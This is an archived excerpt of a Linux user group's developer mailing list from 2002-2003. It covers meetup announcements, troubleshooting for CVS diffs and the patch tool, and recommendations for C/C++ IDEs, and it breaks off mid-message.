X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Subject: [Dev] eXtreme Programming User's Group starting Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C27B5A.B9671990 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Introducing the Triangle eXtreme Programming User's Group Extreme Programming is an agile software development methodology which has gained quite a bit of notoriety over the last few years. With its growing interest and use in the research triangle area of North Carolina we would like to invite you to the first meeting of the Triangle area eXtreme Programming User's Group. The purpose of this group is to share experiences and help others with issues related to eXtreme Programming. Meetings will be organized using the Open Space format, providing attendees great freedom in choosing the topics. We want people who come to be able to decide what they want to do. When: Monday October 28th, 2002 / 6:30-9pm (Fourth Monday of every month) Where: Viper Conference Room, Suite 300 (NCR CRM), 5565 Centerview Drive, Raleigh NC 27606 Mailing List: http://groups.yahoo.com/group/triangle-xpug More Details: http://c2.com/cgi/wiki?TriangleXpUsersGroup ------=_NextPart_000_0013_01C27B5A.B9671990 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Introducing the Triangle eXtreme Programming = User's Group

 

Extreme Programming is an agile software development methodology = which has gained quite a bit of notoriety over the last few years. With its = growing interest and use in the research triangle area of = North Carolina we would like to invite you to the = first meeting of the Triangle area eXtreme Programming User's Group. The = purpose of this group is to share experiences and help others with issues related = to eXtreme Programming.

 

Meetings will be organized using the Open Space format, = providing attendees great freedom in choosing the topics. We want people who come = to be able to decide what they want to do.

 

When: Monday October 28th, 2002 / = 6:30-9pm (Fourth Monday of every month) =

Where: Viper = Conference Room, Suite 300 (NCR = CRM), 5565 Centerview Drive, Raleigh = NC 27606

 

Mailing List: = http://groups.yahoo.com/group/triangle-xpug

More Details: = http://c2.com/cgi/wiki?TriangleXpUsersGroup

 

------=_NextPart_000_0013_01C27B5A.B9671990-- From tbryan@python.net Sat Nov 9 21:23:27 2002 Return-Path: Delivered-To: dev@trilug.org Received: from ncsmtp03.ogw.rr.com (ncsmtp03.ogw.rr.com [24.93.67.84]) by fatalpha.trilug.org (Postfix) with ESMTP id CA9E4E605 for ; Sat, 9 Nov 2002 21:23:26 -0500 (EST) Received: from mail8.nc.rr.com (fe8 [24.93.67.55]) by ncsmtp03.ogw.rr.com (8.12.5/8.12.2) with ESMTP id gAA2N2if001918 for ; Sat, 9 Nov 2002 21:23:04 -0500 (EST) Received: from fezzik ([24.25.19.233]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sat, 9 Nov 2002 21:22:57 -0500 Content-Type: text/plain; charset="us-ascii" From: Tom Bryan To: dev@trilug.org Date: Sat, 9 Nov 2002 22:54:47 +0500 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200211092254.47901.tbryan@python.net> Subject: [Dev] [announce] Unit testing talk at TriZPUG Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Okay...at some point, I'll stop cross-posting messages about TriZPUG here, but unit testing always seems to be a popular topic, especially when it involves xUnit, JUnit, cppUnit, PyUnit, etc. This Tuesday, Nov. 12, I'll be giving a talk for TriZPUG about Unit Testing in Python. If you know even a bit of Python and you've always *meant* to learn about unit testing, you might want to attend. Much of the content applies with little translation to other languages, especially the roughly 1/2 of the talk dealing with PyUnit. The official announcemnt is here: http://dev.zope.org/Members/tbryan/news/trizpug_nov2002_meeting/index_html ---Tom From tzhang@tulane.edu Tue Mar 25 22:11:31 2003 Return-Path: Delivered-To: dev@trilug.org Received: from trend3.tcs.tulane.edu (trend3-vw.tcs.tulane.edu [129.81.255.237]) by moya.trilug.org (Postfix) with ESMTP id 83A70A0018 for ; Tue, 25 Mar 2003 22:11:30 -0500 (EST) Received: from trend3.tcs.tulane.edu (localhost [127.0.0.1]) by trend3.tcs.tulane.edu (8.12.8/8.12.8) with ESMTP id h2Q3BSPu032704 for ; Tue, 25 Mar 2003 21:11:28 -0600 Received: from tulane.edu (majestic.tcs.tulane.edu [129.81.224.6]) by trend3.tcs.tulane.edu (8.12.8/8.12.8) with ESMTP id h2Q3BStx032698 for ; Tue, 25 Mar 2003 21:11:28 -0600 Received: from wendy ([129.81.216.202]) by tulane.edu (8.12.8/8.12.8) with SMTP id h2Q3BQkw002869 for ; Tue, 25 Mar 2003 21:11:27 -0600 (CST) From: "tzhang" To: Date: Sun, 25 Mar 2001 21:11:42 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Help needed Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Dear Dev; I just saw from linux mail list that you know the error about "Reversed (or previously applied) patch detected!" when I patch the Linux kernel 2.4.18. There are thousand of them. Need I manually reply all the question. If it is, how to reply? I need your help if you have time. I could not get any idea even I search from 'Google'. Thank you. Yours,Tao Zhang ME department Tulane University New Orleans LA, 70118 From crimsun@mcdownloads.com Wed Mar 26 00:32:16 2003 Return-Path: Delivered-To: dev@trilug.org Received: from mail.3gstech.com (irc.sh.nu [216.239.132.110]) by moya.trilug.org (Postfix) with ESMTP id 1BD4BA000F for ; Wed, 26 Mar 2003 00:32:16 -0500 (EST) Received: by mail.3gstech.com (Postfix, from userid 534) id 056059E76B0; Tue, 25 Mar 2003 21:32:15 -0800 (PST) Date: Tue, 25 Mar 2003 21:32:14 -0800 From: crimsun@fungus.sh.nu To: dev@trilug.org Subject: Re: [Dev] Help needed Message-ID: <20030326053214.GA23116@fungus.sh.nu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Sun, Mar 25, 2001 at 09:11:42PM -0800, tzhang wrote: > I just saw from linux mail list that you know the error about > "Reversed (or previously applied) patch detected!" when I patch the Linux > kernel 2.4.18. There are thousand of them. Need I manually reply all the > question. If it is, how to reply? What patch(es) are you applying against 2.4.18? Is it a vendor's 2.4.18 kernel source, or a "vanilla" one from a kernel.org mirror? "Reversed (or previously applied) patch detected" is usually an indication that you're trying to apply something that has already been applied, which is particularly the case if you're applying it against a vendor kernel source. You should always reply to those questions, but your answer will of course depend on what patch you're applying to what kernel. -Dan -- Dan Chen crimsun@fungus.sh.nu GPG key: www.unc.edu/~crimsun/pubkey.gpg.asc From shi@cs.uchicago.edu Thu May 1 14:48:26 2003 Return-Path: Delivered-To: dev@trilug.org Received: from laime.cs.uchicago.edu (laime.cs.uchicago.edu [128.135.11.94]) by moya.trilug.org (Postfix) with ESMTP id 60D65A016E for ; Thu, 1 May 2003 14:48:26 -0400 (EDT) Received: from bert.cs.uchicago.edu (bert.cs.uchicago.edu [128.135.11.158]) by laime.cs.uchicago.edu (Postfix) with ESMTP id CE9086BF14; Thu, 1 May 2003 13:48:25 -0500 (CDT) Received: by bert.cs.uchicago.edu (Postfix, from userid 10080) id 6E8635AF1C; Thu, 1 May 2003 13:48:25 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by bert.cs.uchicago.edu (Postfix) with ESMTP id 4E2ED5AF1B; Thu, 1 May 2003 13:48:25 -0500 (CDT) Date: Thu, 1 May 2003 13:48:25 -0500 (CDT) From: Xinghua Shi To: dev@trilug.org Cc: Xinghua Shi Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [Dev] Questions about patch? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hey,James I saw your posts about how to create a patch using cvs and then do patch. This is what I wanna do in my project(On Solaris), but I got some problem here and couldn't figure out how to deal with this. Thanks for any hints. :-) What I did is like: 1.create the patch using cvs cvs diff -c orbit.c > original_diff 2.original_diff looks like: Index: orbit.c =================================================================== RCS file: /u1/shi/cvs/Orbit/orbit.c,v retrieving revision 1.7 diff -c -r1.7 orbit.c *** orbit.c 28 Apr 2003 18:37:30 -0000 1.7 --- orbit.c 30 Apr 2003 18:02:16 -0000 *************** *** 1,5 **** ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit.c,v 1.7 2003/04/28 18:37:30 shi Exp $"; #include #include /* for exit() prototype */ --- 1,5 ---- ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit2.c,v 1.4 2003/04/22 18:44:30 shi Exp $"; #include #include /* for exit() prototype */ *************** *** 194,199 **** --- 194,202 ---- /* this is still a test. */ + + printf("Blah,blah,this is my test!\n"); + fp = fopen("sim.out","w"); printf("Running. Result in 'sim.out'\n"); 3. do the patch patch -c -i original_diff orbit.c But it complains: Looks like a new-style context diff. done But nothing was done with the file orbit.c. Not any patching happened. Actually, I don't know where to ask this question. So any suggestions are heartly appreciated. :-) Good day! BR -Mindy From shi@cs.uchicago.edu Thu May 1 15:39:11 2003 Return-Path: Delivered-To: dev@trilug.org Received: from laime.cs.uchicago.edu (laime.cs.uchicago.edu [128.135.11.94]) by moya.trilug.org (Postfix) with ESMTP id 0204FA016F for ; Thu, 1 May 2003 15:39:11 -0400 (EDT) Received: from bert.cs.uchicago.edu (bert.cs.uchicago.edu [128.135.11.158]) by laime.cs.uchicago.edu (Postfix) with ESMTP id 4D48E6BF14 for ; Thu, 1 May 2003 14:39:10 -0500 (CDT) Received: by bert.cs.uchicago.edu (Postfix, from userid 10080) id F193A5AF1C; Thu, 1 May 2003 14:39:09 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by bert.cs.uchicago.edu (Postfix) with ESMTP id BF8D45AF1B for ; Thu, 1 May 2003 14:39:09 -0500 (CDT) Date: Thu, 1 May 2003 14:39:09 -0500 (CDT) From: Xinghua Shi To: dev@trilug.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [Dev] Questions about patch? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hey,James I saw your posts about how to create a patch using cvs and then do patch. This is what I wanna do in my project(On Solaris), but I got some problem here and couldn't figure out how to deal with this. Thanks for any hints. :-) What I did is like: 1.create the patch using cvs cvs diff -c orbit.c > original_diff 2.original_diff looks like: Index: orbit.c =================================================================== RCS file: /u1/shi/cvs/Orbit/orbit.c,v retrieving revision 1.7 diff -c -r1.7 orbit.c *** orbit.c 28 Apr 2003 18:37:30 -0000 1.7 --- orbit.c 30 Apr 2003 18:02:16 -0000 *************** *** 1,5 **** ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit.c,v 1.7 2003/04/28 18:37:30 shi Exp $"; #include #include /* for exit() prototype */ --- 1,5 ---- ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit2.c,v 1.4 2003/04/22 18:44:30 shi Exp $"; #include #include /* for exit() prototype */ *************** *** 194,199 **** --- 194,202 ---- /* this is still a test. */ + + printf("Blah,blah,this is my test!\n"); + fp = fopen("sim.out","w"); printf("Running. Result in 'sim.out'\n"); 3. do the patch patch -c -i original_diff orbit.c But it complains: Looks like a new-style context diff. done But nothing was done with the file orbit.c. Not any patching happened. Actually, I don't know where to ask this question. So any suggestions are heartly appreciated. :-) Good day! BR -Mindy From jonc@nc.rr.com Thu May 1 16:07:48 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-03.southeast.rr.com (ms-smtp-03.southeast.rr.com [24.93.67.84]) by moya.trilug.org (Postfix) with ESMTP id 6C21EA016F for ; Thu, 1 May 2003 16:07:48 -0400 (EDT) Received: from mail3.nc.rr.com (fe3 [24.93.67.50]) by ms-smtp-03.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h41K65NG023241; Thu, 1 May 2003 16:06:18 -0400 (EDT) Received: from anncons ([24.163.124.248]) by mail3.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 1 May 2003 16:04:45 -0400 Subject: Re: [Dev] Questions about patch? From: Jon Carnes To: dev@trilug.org Cc: shi@cs.uchicago.edu In-Reply-To: References: Content-Type: text/plain Organization: AnnCons Message-Id: <1051819693.2314.108.camel@anncons> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2-3mdk Date: 01 May 2003 16:08:14 -0400 Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jonc@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I don't know if this will help, but whenever I create patch files from diffs I always grab a few reference lines around the changes. Patch seems to work much better then. In fact if you read the "man diff" you will see that it says: -lines Show lines (an integer) lines of context. This option does not specify an output format by itself; it has no effect unless it is combined with -c or -u. This option is obsolete. For proper operation, patch typically needs at least two lines of context. Jon Carnes On Thu, 2003-05-01 at 15:39, Xinghua Shi wrote: > Hey,James > > I saw your posts about how to create a patch using cvs and then do > patch. This is what I wanna do in my project(On Solaris), but I got some > problem here and couldn't figure out how to deal with this. > Thanks for any hints. :-) > > What I did is like: > 1.create the patch using cvs > cvs diff -c orbit.c > original_diff > > 2.original_diff looks like: > > Index: orbit.c > =================================================================== > RCS file: /u1/shi/cvs/Orbit/orbit.c,v > retrieving revision 1.7 > diff -c -r1.7 orbit.c > *** orbit.c 28 Apr 2003 18:37:30 -0000 1.7 > --- orbit.c 30 Apr 2003 18:02:16 -0000 > *************** > *** 1,5 **** > > ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit.c,v 1.7 > 2003/04/28 18:37:30 shi Exp $"; > > #include > #include /* for exit() prototype */ > --- 1,5 ---- > > ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit2.c,v 1.4 > 2003/04/22 18:44:30 shi Exp $"; > > #include > #include /* for exit() prototype */ > *************** > *** 194,199 **** > --- 194,202 ---- > /* > this is still a test. > */ > + > + printf("Blah,blah,this is my test!\n"); > + > > fp = fopen("sim.out","w"); > printf("Running. Result in 'sim.out'\n"); > > > 3. do the patch > patch -c -i original_diff orbit.c > > But it complains: > > Looks like a new-style context diff. > done > > But nothing was done with the file orbit.c. Not any patching happened. > > Actually, I don't know where to ask this question. So any suggestions are > heartly appreciated. :-) > > Good day! > > > BR > -Mindy > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From shi@cs.uchicago.edu Thu May 1 17:19:07 2003 Return-Path: Delivered-To: dev@trilug.org Received: from laime.cs.uchicago.edu (laime.cs.uchicago.edu [128.135.11.94]) by moya.trilug.org (Postfix) with ESMTP id DA55FA0176 for ; Thu, 1 May 2003 17:19:07 -0400 (EDT) Received: from bert.cs.uchicago.edu (bert.cs.uchicago.edu [128.135.11.158]) by laime.cs.uchicago.edu (Postfix) with ESMTP id 431BA6BF18; Thu, 1 May 2003 15:56:58 -0500 (CDT) Received: by bert.cs.uchicago.edu (Postfix, from userid 10080) id DF2CA5AF1C; Thu, 1 May 2003 15:56:43 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by bert.cs.uchicago.edu (Postfix) with ESMTP id C30A75AF1B; Thu, 1 May 2003 15:56:43 -0500 (CDT) Date: Thu, 1 May 2003 15:56:43 -0500 (CDT) From: Xinghua Shi To: Jon Carnes Cc: dev@trilug.org Subject: Re: [Dev] Questions about patch? In-Reply-To: <1051819693.2314.108.camel@anncons> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Thanks,Jon Then how to get this lines info from cvs diff? I read the "cvs diff --help" and didn't figure out yet. Thanks for more hints. :-) BR -Mindy On 1 May 2003, Jon Carnes wrote: > I don't know if this will help, but whenever I create patch files from > diffs I always grab a few reference lines around the changes. Patch > seems to work much better then. In fact if you read the "man diff" you > will see that it says: > > -lines Show lines (an integer) lines of context. This > option does not specify an output format by itself; > it has no effect unless it is combined with -c > or -u. This option is obsolete. For proper > operation, patch typically needs at least two lines > of context. > > Jon Carnes > > > On Thu, 2003-05-01 at 15:39, Xinghua Shi wrote: > > Hey,James > > > > I saw your posts about how to create a patch using cvs and then do > > patch. This is what I wanna do in my project(On Solaris), but I got some > > problem here and couldn't figure out how to deal with this. > > Thanks for any hints. :-) > > > > What I did is like: > > 1.create the patch using cvs > > cvs diff -c orbit.c > original_diff > > > > 2.original_diff looks like: > > > > Index: orbit.c > > =================================================================== > > RCS file: /u1/shi/cvs/Orbit/orbit.c,v > > retrieving revision 1.7 > > diff -c -r1.7 orbit.c > > *** orbit.c 28 Apr 2003 18:37:30 -0000 1.7 > > --- orbit.c 30 Apr 2003 18:02:16 -0000 > > *************** > > *** 1,5 **** > > > > ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit.c,v 1.7 > > 2003/04/28 18:37:30 shi Exp $"; > > > > #include > > #include /* for exit() prototype */ > > --- 1,5 ---- > > > > ! char cvsroot_orbit_c[] = "$Header: /u1/shi/cvs/Orbit/orbit2.c,v 1.4 > > 2003/04/22 18:44:30 shi Exp $"; > > > > #include > > #include /* for exit() prototype */ > > *************** > > *** 194,199 **** > > --- 194,202 ---- > > /* > > this is still a test. > > */ > > + > > + printf("Blah,blah,this is my test!\n"); > > + > > > > fp = fopen("sim.out","w"); > > printf("Running. Result in 'sim.out'\n"); > > > > > > 3. do the patch > > patch -c -i original_diff orbit.c > > > > But it complains: > > > > Looks like a new-style context diff. > > done > > > > But nothing was done with the file orbit.c. Not any patching happened. > > > > Actually, I don't know where to ask this question. So any suggestions are > > heartly appreciated. :-) > > > > Good day! > > > > > > BR > > -Mindy > > > > _______________________________________________ > > Dev mailing list > > Dev@trilug.org > > http://www.trilug.org/mailman/listinfo/dev > From prhodes@vdsinc.com Thu May 1 18:02:35 2003 Return-Path: Delivered-To: dev@trilug.org Received: from mailrtr2.mailzone.edeltacom.com (mailrtr2.mailzone.edeltacom.com [216.248.176.138]) by moya.trilug.org (Postfix) with ESMTP id 2AE2FA0175 for ; Thu, 1 May 2003 18:02:35 -0400 (EDT) Received: from mail.vdsinc.com ([66.0.79.126]) by mailrtr2.mailzone.edeltacom.com (Mirapoint Messaging Server MOS 3.3.2-CR) with ESMTP id AZK30203; Thu, 1 May 2003 18:02:33 -0400 (EDT) In-Reply-To: Subject: Re: [Dev] Questions about patch? To: dev@trilug.org X-Mailer: Lotus Notes Release 6.0 September 26, 2002 Message-ID: From: prhodes@vdsinc.com Date: Thu, 1 May 2003 17:59:27 -0400 X-MIMETrack: Serialize by Router on VDSNOTES/VDS(Release 6.0|September 26, 2002) at 05/01/2003 05:59:28 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Actually, I don't know where to ask this question. So any suggestions are > heartly appreciated. :-) If your version of patch supports the --verbose option, try the patch again with that option, and see if it spits out anything meaningful. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin This country, with its institutions, belongs to the people who inhabit it. Whenever they shall grow weary of the existing government, they can exercise their constitutional right of amending it, or exercise their revolutionary right to overthrow it. - Abraham Lincoln No citizen shall be denied the right to bear arms, if as a last resort, to protect themselves from tyranny in Government. - Thomas Jefferson From jonc@nc.rr.com Thu May 1 19:21:35 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-03.southeast.rr.com (ms-smtp-03.southeast.rr.com [24.93.67.84]) by moya.trilug.org (Postfix) with ESMTP id 3E2BCA017A for ; Thu, 1 May 2003 19:21:35 -0400 (EDT) Received: from mail5.nc.rr.com (fe5 [24.93.67.52]) by ms-smtp-03.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h41NKBMq010525 for ; Thu, 1 May 2003 19:20:11 -0400 (EDT) Received: from anncons ([24.163.124.248]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 1 May 2003 19:18:30 -0400 Subject: Re: [Dev] Questions about patch? From: Jon Carnes To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Organization: AnnCons Message-Id: <1051831323.5081.1.camel@anncons> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2-3mdk Date: 01 May 2003 19:22:04 -0400 Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jonc@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thu, 2003-05-01 at 16:56, Xinghua Shi wrote: > Thanks,Jon > Then how to get this lines info from cvs diff? I read the "cvs diff > --help" and didn't figure out yet. Thanks for more hints. :-) > > BR > -Mindy > > On 1 May 2003, Jon Carnes wrote: > Sorry I'm not that knowledgeable about CVS. From lovelace@wayfarer.org Mon May 5 00:26:09 2003 Return-Path: Delivered-To: dev@trilug.org Received: from maddux.wayfarer.org (rrcs-midsouth-24-172-56-10.biz.rr.com [24.172.56.10]) by moya.trilug.org (Postfix) with ESMTP id D4772A00E2 for ; Mon, 5 May 2003 00:26:08 -0400 (EDT) Received: from kendrick.house.wayfarer.org (rrcs-midsouth-24-172-56-11.biz.rr.com [24.172.56.11]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by maddux.wayfarer.org (Postfix) with ESMTP id BDE0257F8D for ; Mon, 5 May 2003 00:26:46 -0400 (EDT) Subject: Re: [Dev] Questions about patch? From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <1051831323.5081.1.camel@anncons> References: <1051831323.5081.1.camel@anncons> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ka1JjuFgR4Uxo2eTCaZF" Organization: Wayfarer Message-Id: <1052108747.31635.54.camel@kendrick.house.wayfarer.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2-3mdk Date: 05 May 2003 00:25:47 -0400 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-ka1JjuFgR4Uxo2eTCaZF Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2003-05-01 at 19:22, Jon Carnes wrote: > On Thu, 2003-05-01 at 16:56, Xinghua Shi wrote: > > Thanks,Jon > > Then how to get this lines info from cvs diff? I read the "cvs diff > > --help" and didn't figure out yet. Thanks for more hints. :-) > >=20 > > BR > > -Mindy > >=20 > > On 1 May 2003, Jon Carnes wrote: > >=20 >=20 > Sorry I'm not that knowledgeable about CVS. I believe "cvs diff" takes the same options regular diff takes. In fact, it may just pipe to diff directly. If this is not the case, could someone please correct me. Thanks, Tanner --=20 Tanner Lovelace --=-ka1JjuFgR4Uxo2eTCaZF Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQA+tefLzglPjt52OdQRAuTqAKC1uvwvvnd+SvrlDirTDg8rQknRmwCeKAMK z/MxP0S7Ajy63hSsPXpAD8s= =6Kn4 -----END PGP SIGNATURE----- --=-ka1JjuFgR4Uxo2eTCaZF-- From rvestal@trilug.org Thu May 22 08:52:06 2003 Return-Path: Delivered-To: dev@trilug.org Received: by moya.trilug.org (Postfix, from userid 2028) id B6FA9A002C; Thu, 22 May 2003 08:52:06 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by moya.trilug.org (Postfix) with ESMTP id 9253DCC0E9 for ; Thu, 22 May 2003 08:52:06 -0400 (EDT) Date: Thu, 22 May 2003 08:52:06 -0400 (EDT) From: Roy Vestal To: dev@trilug.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [Dev] C, C++ IDE's Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Any recommendations on C and C++ IDE's? I'm used to DJGPP and M$ Visual C++. I've looked at KDevelop, but I want something that's not Desktop/Window Manager dependant. I know that EMACS and VI can be used that way, but I'd like to see gui's too. If you have any links for useing emacs and vi, please let me know. -- --------------------------------------- Roy Vestal rvestal@trilug.org http://www.trilug.org/~rvestal I'm not a geek, I just play one on tv. --------------------------------------- From justin@deepbluesoftware.com Thu May 22 09:09:26 2003 Return-Path: Delivered-To: dev@trilug.org Received: from deepbluesoftware.com (nameservices.net [208.234.29.93]) by moya.trilug.org (Postfix) with ESMTP id 232A6A002C for ; Thu, 22 May 2003 09:09:26 -0400 (EDT) Received: from JJOHNSON (adsl-157-45-146.rdu.bellsouth.net [68.157.45.146]) by deepbluesoftware.com (8.12.9/8.12.9) with SMTP id h4MDGFJW010574 for ; Thu, 22 May 2003 09:16:15 -0400 From: "Justin Johnson" To: Subject: RE: [Dev] C, C++ IDE's Date: Thu, 22 May 2003 09:09:28 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Any recommendations on C and C++ IDE's? I'm used to DJGPP and M$ Visual > C++. I've looked at KDevelop, but I want something that's not > Desktop/Window Manager dependant. Take a look at Kylix. Borland offers the Open Edition for free, as well as other Editions with more features (mostly components I think). Kylix 3 has compilers for both C++ and Object Pascal, pick your flavor and go. I've been working n Delphi (and a bit in Kylix/OP) for about 4 years now, so I may be a bit biased:-) Regards, Justin From dac@cafaro.net Thu May 22 09:42:00 2003 Return-Path: Delivered-To: dev@trilug.org Received: from c007.snv.cp.net (h013.c007.snv.cp.net [209.228.33.241]) by moya.trilug.org (Postfix) with SMTP id 48C13A002C for ; Thu, 22 May 2003 09:42:00 -0400 (EDT) Received: (cpmta 27568 invoked from network); 22 May 2003 06:41:59 -0700 Received: from 141.161.80.25 (HELO ?192.168.1.2?) by smtp.cafaro.net (209.228.33.241) with SMTP; 22 May 2003 06:41:59 -0700 X-Sent: 22 May 2003 13:41:59 GMT Subject: Re: [Dev] C, C++ IDE's From: "David A. Cafaro" To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Organization: Sys Admin to User: "You did what?!?" Message-Id: <1053611002.3957.10.camel@kara> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 22 May 2003 09:43:22 -0400 Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I've been pretty happy with SlickEdit. Cost some cash, but it works very well with a range of different Languages including C/C++. I use it primarily for Java stuff, but on occasion touch C/C++, Perl, and php stuff that I have to work with. On Thu, 